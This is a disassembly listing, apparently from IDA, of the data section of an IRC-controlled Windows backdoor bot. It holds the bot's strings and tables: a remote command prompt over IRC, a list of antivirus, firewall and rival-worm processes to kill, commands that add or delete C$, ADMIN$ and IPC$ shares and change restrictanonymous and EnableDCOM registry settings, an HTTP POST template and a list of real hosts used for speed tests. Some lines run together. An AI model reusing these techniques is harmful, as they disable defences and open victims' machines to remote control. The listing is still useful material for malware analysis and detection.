		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419CE8:loc_419DC5o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419CE8:loc_419DBEo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419CE8+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419CE8:loc_419D93o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D8Co
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419CE8:loc_419D85o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419CE8:loc_419D7Bo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419CE8+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D55o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419CE8:loc_419D4Bo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419CE8:loc_419D41o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419CE8:loc_419D37o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419CE8:loc_419D2Do
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419CE8+3Bo
		align 10h
dword_441900	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: seg000:00419EC7o
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_44192C	db  2Dh	; -		; DATA XREF: seg000:00419E9Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_441954	dd 7530h	off_441958	dd offset aRegedit_exe	; DATA XREF: sub_419F45+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_441A60
		dd offset dword_441A54
		dd offset dword_441A48
		dd offset dword_441A3C
		dd offset dword_441A30
		dd offset dword_441A24
		dd offset dword_441A14
		dd offset dword_441A08
		dd offset dword_4419FC
		dd offset dword_4419F0
		dd offset dword_4419E4
		dd offset dword_4419D4
		dd offset dword_4419C8
		dd offset dword_4419B8
dword_4419B8	dd 72313169h, 346E3435h, 6578652Eh, 0					; seg002:004419B4o
dword_4419C8	dd 6E757269h, 78652E34h, 65hdword_4419D4	dd 75643364h, 74616470h, 78652E65h, 65hdword_4419E4	dd 65746172h, 6578652Eh, 0dword_4419F0	dd 74617373h, 78652E65h, 65hdword_4419FC	dd 736E6977h, 652E7379h, 6578hdword_441A08	dd 756E6977h, 652E6470h, 6578hdword_441A14	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_441A24	dd 61656262h, 2E656C67h, 657865hdword_441A30	dd 696E6550h, 2E323373h, 657865hdword_441A3C	dd 6B656574h, 2E736469h, 657865hdword_441A48	dd 4C42534Dh, 2E545341h, 657865hdword_441A54	dd 7663736Dh, 2E323362h, 657865hdword_441A60	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:0044197Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:00441978o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: seg002:00441974o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: seg002:00441970o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: seg002:0044196Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: seg002:00441968o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: seg002:00441964o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: seg002:00441960o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: seg002:0044195Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: seg002:off_441958o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419F45+191o
		align 10h
unk_441B10	db  2Dh	; -		; DATA XREF: sub_41A174:loc_41A1FBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_441B34	db  2Dh	; -		; DATA XREF: sub_41A174+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_441B58	db  2Dh	; -		; DATA XREF: sub_41A174+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A311+33o
unk_441B88	db  2Dh	; -		; DATA XREF: seg000:loc_41A4CAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
dword_441C68	dd 1D4C0h			align 10h
off_441C70	dd offset dword_441CA8	; DATA XREF: sub_41A702+1B3o
					; sub_41AA26+17Ao
		align 8
		dd offset dword_441CA0
		align 10h
off_441C80	dd offset dword_441C9C	; DATA XREF: sub_41AA26+1E3o
		dd offset dword_441C98
		dd offset dword_441C94
		dd offset dword_441C90
dword_441C90	dd 5C3A44h						; seg002:00441C8Co
dword_441C94	dd 2444h	dword_441C98	dd 5C3A43h	dword_441C9C	dd 2443h	dword_441CA0	dd 494D4441h, 244Ehdword_441CA8	dd 24435049h, 0	dword_441CB0	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+2D8o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_441CE0	dd 234032Dh, 75636573h,	3026572haNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_441D08	dd 234032Dh, 75636573h,	3026572haFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_441D34	dd 234032Dh, 75636573h,	3026572haShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_441D58	dd 234032Dh, 75636573h,	3026572haFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_441D84	dd 234032Dh, 75636573h,	3026572haShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_441DA8	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26:loc_41AB54o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_441DD8	dd 234032Dh, 75636573h,	3026572haFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_441E14	dd 234032Dh, 75636573h,	3026572haRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_441E48	dd 234032Dh, 75636573h,	3026572haFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A702+EDo
					; sub_41AA26+EDo
		align 4
dword_441E98	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_441EC8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A702:loc_41A76Fo
		dd 62617369h, 2E64656Ch, 0
dword_441EE8	dd 234032Dh, 75636573h,	3026572haDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A702+54o
					; sub_41AA26+54o
		align 4
dword_441F18	dd 234032Dh, 75636573h,	3026572haNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41AA26+22Ao
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41AA26+219o
dword_441F48	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26:loc_41AC93o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_441F70	dd 234032Dh, 75636573h,	3026572h					; sub_41AA26+266o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_441F90	dd 234032Dh, 75636573h,	3026572haFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_441FCC	dd 234032Dh, 75636573h,	3026572haUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_442004	dd 234032Dh, 75636573h,	3026572haFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_442044	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41AA26:loc_41AA93o
		dd 6C62616Eh, 2E6465h
dword_442060	dd 234032Dh, 75636573h,	3026572haEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AD75+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_4420B8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AF50+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AF50+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AF50+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AF50+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AF50+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AF50+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AF50+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AF50+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AF50+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AF50+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AF50+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AF50+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AF50+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AF50+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AF50+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AF50+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AF50+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AF50+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AF50+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AF50+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AF50+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AF50+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AF50+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AF50+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AF50+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AF50+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AF50+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41B12D+52o
		dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh,	4D3A6464h, 793A4D4Dh
		dd 797979h
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B2E4:loc_41B448o
		align 10h
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_41B2E4+EBo
dword_4423D8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B598+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_44241C	dd offset loc_412F4E	; DATA XREF: sub_41B598:loc_41B60Co
off_442420	dd offset dword_4E414C	; DATA XREF: sub_41B598:loc_41B605o
dword_442424	dd 6C616944h, 70752Dhdword_44242C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_44243C	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B817o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConn_0	db ' Failed to connect to HTTP server.',0
		align 4
unk_44246C	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B810o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_442498	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B65E+1A0o
		dd 4C525520h, 2Eh
unk_4424B4	db  2Dh	; -		; DATA XREF: sub_41B65E:loc_41B7F1o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_4424F0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B65E+18Co
		dd 64657469h, 2Eh
dword_44250C	dd 2A2F2Ah	dword_442510	dd 1				align 10h
dword_442520	dd 173Fh			dd 9875h, 9873h
off_44252C	dd offset sub_41CDE8	; DATA XREF: sub_41BE34r
		dd offset nullsub_2
		dd offset nullsub_2
dword_442538	dd 1B3Fh	dword_44253C	dd 19930520h, 4	dup(0)					; sub_41D2EA+2o
off_442550	dd offset sub_41BE72	; DATA XREF: sub_41E0F9+1Cr
dword_442554	dd 2							; sub_4234E5+46r ...
		dd 10h
dword_44255C	dd 3F8h							; sub_41BC09+5r ...
off_442560	dd offset word_44256A	; DATA XREF: sub_41BD9E+23r
					; sub_41BD9E:loc_41BDFFr ...
off_442564	dd offset word_44256A	; DATA XREF: sub_426A53+18r
		db 2 dup(0)
word_44256A	dw 20h			; DATA XREF: sub_424C7C+18r
					; seg002:off_442560o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_44276C	dd 1							; sub_41BD9E:loc_41BDEAr ...
byte_442770	db 2Eh			; DATA XREF: sub_420375:loc_420669r
					; sub_420375+311r ...
		align 4
		dd 1
off_442778	dd offset aNull_0	; DATA XREF: sub_41F504:loc_41F868r
					; sub_41F504+457r
					; "(null)"
off_44277C	dd offset aNull		; DATA XREF: sub_41F504+259r
					; "(null)"
byte_442780	db 1			; DATA XREF: seg000:0041FDEFr
		db 2, 4, 8
		align 8
dword_442788	dd 3A4h		dword_44278C	dd 82798260h, 21h, 0dword_442798	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_442878	dd 1							; sub_420244+Co
dword_44287C	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4429E0	dd 0D2D0920h, 5Dh					; sub_420375:loc_4208DCo
dword_4429E8	dd 5Dh,	0	dword_4429F0	dd 14h		off_4429F4	dd offset aExp		; DATA XREF: sub_421489:loc_4214A6r
					; "exp"
		dd 1Dh,	42784Ch, 1Ah, 427848h, 1Bh, 427840h, 1Fh, 427838h
		dd 13h,	427830h, 21h, 427828h, 0Eh, 427820h, 0Dh, 427818h
		dd 0Fh,	427810h, 10h, 427808h, 5, 427800h, 1Eh,	4277FCh
		dd 12h,	4277F8h, 20h, 4277F4h, 0Ch, 4277ECh, 0Bh, 4277E4h
		dd 15h,	4277DCh, 1Ch, 4277D4h, 19h, 4277CCh, 11h, 4277C4h
		dd 18h,	4277BCh, 16h, 4277B4h, 17h, 4277ACh, 22h, 4277A8h
		dd 23h,	4277A4h, 24h, 4277A0h
dbl_442AC8	dq 1.797693134862316e308 ; DATA	XREF: sub_4211C4+B7r
					; sub_4211C4:loc_4212ABr ...
		dd 0
		dd 0FFF80000h
dbl_442AD8	dq 1.797693134862316e308 ; DATA	XREF: sub_4211C4+92r
					; sub_4211C4:loc_421283r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_442AF0	dt 2.3562723457267347066e313 ; DATA XREF: sub_421671+Dr
					; sub_421671+1Fr
		align 4
tbyte_442AFC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421671+31r
		align 4
off_442B08	dd offset sub_424563	; DATA XREF: sub_41CE00+Fw
					; sub_41F504+3AAr
off_442B0C	dd offset sub_424563	; DATA XREF: sub_41CE00+5w
					; sub_41F504+3E2r
off_442B10	dd offset sub_424563	; DATA XREF: sub_41CE00+14w
					; sub_420375+430r
off_442B14	dd offset sub_424563	; DATA XREF: sub_41CE00+1Ew
					; sub_41F504+3CBr
off_442B18	dd offset sub_424563	; DATA XREF: sub_41CE00+28w
off_442B1C	dd offset sub_424563	; DATA XREF: sub_41CE00+32w
		dd offset sub_42456C
		dd 3 dup(0)
		dd offset sub_4223CC
off_442B34	dd offset sub_4223CC	; DATA XREF: sub_422422+29r
off_442B38	dd offset dword_4E1940	; DATA XREF: sub_422563+55o
		align 10h
		dd offset dword_4E1940
		dd 101h
dword_442B48	dd 2 dup(0)			dd 1000h, 0
dword_442B58	dd 3 dup(0)						; sub_41F3EF+50o ...
		dd 2, 1, 3 dup(0)
dword_442B78	dd 3 dup(0)						; sub_4202AB:loc_4202C9o
		dd 2 dup(2), 7 dup(0)
dword_442BA8	dd 84h dup(0)	dword_442DB8	dd 0C0000005h						; sub_422D4B+Ar ...
dword_442DBC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_442E30	dd 3							; sub_425781+C8r
dword_442E34	dd 7							; sub_425781+CDr
dword_442E38	dd 0Ah							; sub_4258AE+4r
dword_442E3C	dd 8Ch							; seg000:00422C99w ...
dword_442E40	dd 0FFFFFFFFh, 0A00h					; sub_41F3EF:loc_41F4ACo
dword_442E48	dd 2							; sub_4234E5+28r
off_442E4C	dd offset aR6002FloatingP ; DATA XREF: sub_4234E5+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B6Ch, 9, 427B40h, 0Ah,	427B1Ch, 10h, 427AF0h
		dd 11h,	427AC0h, 12h, 427A9Ch, 13h, 427A70h, 18h, 427A38h
		dd 19h,	427A10h, 1Ah, 4279D8h, 1Bh, 4279A0h, 1Ch, 427978h
		dd 78h,	427968h, 79h, 427958h, 7Ah, 427948h, 0FCh, 43BB50h
		dd 0FFh, 427938h
dword_442ED8	dd 2 dup(0)	dword_442EE0	dd 2694h						; sub_420E79+46r
		align 8
dword_442EE8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_442F00	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_442F18	dd 7080h						; sub_42464C+5Ew ...
dword_442F1C	dd 1							; sub_42464C+8Bw ...
dword_442F20	dd 0FFFFF1F0h						; sub_42464C+94w ...
dword_442F24	dd 545350h, 0Fh	dup(0)dword_442F64	dd 544450h, 0Fh	dup(0)off_442FA4	dd offset dword_442F24	; DATA XREF: sub_42464C+BAr
					; sub_42464C+D9r ...
off_442FA8	dd offset dword_442F64	; DATA XREF: sub_42464C+F4r
					; sub_42464C+11Br ...
		align 10h
dword_442FB0	dd 0FFFFFFFFh						; sub_4248AA+1Er ...
dword_442FB4	dd 0							; sub_424A56+BFw
dword_442FB8	dd 0							; sub_424A56+E0w
		align 10h
dword_442FC0	dd 0FFFFFFFFh						; sub_4248AA+26r ...
dword_442FC4	dd 0							; sub_424A56+EAw ...
dword_442FC8	dd 0							; sub_424A56+23r ...
dword_442FCC	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_442FFC	dd 16Dh							; sub_424A56+2Er ...
dword_443000	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_443038	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_443198	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425C06+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4432F8	dd offset off_427D5C	; DATA XREF: seg001:00427EDCo
					; seg001:00427FECo
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_443310	dd offset off_427D5C	; DATA XREF: seg001:off_427DC8o
					; seg001:00427E5Co ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_443330	dd offset off_427D5C	; DATA XREF: seg001:off_427DE0o
					; seg001:00427E24o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_443350	dd offset off_427D5C	; DATA XREF: seg001:off_427E68o
					; seg001:00427EACo ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_443370	dd offset off_427D5C	; DATA XREF: seg001:off_427EE8o
					; seg001:00427F24o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42456C
		align 10h
dword_443390	dd 2 dup(0)	byte_443398	db 0			; DATA XREF: sub_401135+62o
					; seg000:004039BDo ...
		align 10h
dword_4433A0	dd 0							; seg000:004026A9r ...
		dd 5 dup(0)
dword_4433B8	dd 0							; sub_4156AE+60r
		dd 2D9h	dup(0)
dword_443F20	dd 0							; seg000:004079C4r ...
		dd 7Fh dup(0)
dword_444120	dd 0							; sub_40B149+40w ...
dword_444124	dd 0							; sub_40B149+46w ...
dword_444128	dd 0							; sub_40B149+3Ar ...
